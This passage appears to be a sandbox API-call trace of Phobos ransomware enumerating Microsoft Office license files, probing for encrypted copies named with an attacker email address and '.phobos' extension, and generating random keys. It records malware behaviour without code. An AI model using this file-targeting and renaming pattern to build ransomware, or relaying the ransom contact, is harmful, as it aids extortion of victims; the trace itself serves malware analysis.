[0152.280] CloseHandle (hObject=0x564) returned 1 [0152.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0152.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.281] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.281] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21917) returned 1 [0152.281] CloseHandle (hObject=0x564) returned 1 [0152.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220 [0152.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.282] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.282] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11644) returned 1 [0152.283] CloseHandle (hObject=0x564) returned 1 [0152.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.283] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.284] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10679) returned 1 [0152.284] CloseHandle (hObject=0x564) returned 1 [0152.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0152.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.284] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.285] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21977) returned 1 [0152.285] CloseHandle (hObject=0x564) returned 1 [0152.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0152.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.285] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.286] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11637) returned 1 [0152.286] CloseHandle (hObject=0x564) returned 1 [0152.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0152.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.286] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.287] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19982) returned 1 [0152.287] CloseHandle (hObject=0x564) returned 1 [0152.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0152.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.287] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.288] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22033) returned 1 [0152.288] CloseHandle (hObject=0x564) returned 1 [0152.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220 [0152.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.288] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.289] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11624) returned 1 [0152.289] CloseHandle (hObject=0x564) returned 1 [0152.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.290] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.290] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10663) returned 1 [0152.290] CloseHandle (hObject=0x564) returned 1 [0152.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220 [0152.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.291] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.291] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22093) returned 1 [0152.291] CloseHandle (hObject=0x564) returned 1 [0152.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0152.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.292] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.292] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11617) returned 1 [0152.292] CloseHandle (hObject=0x564) returned 1 [0152.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0152.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.293] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.294] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19962) returned 1 [0152.294] CloseHandle (hObject=0x564) returned 1 [0152.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0152.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.294] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.295] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10667) returned 1 [0152.295] CloseHandle (hObject=0x564) returned 1 [0152.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220 [0152.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.295] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.296] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22094) returned 1 [0152.296] CloseHandle (hObject=0x564) returned 1 [0152.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0152.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.306] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.307] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: 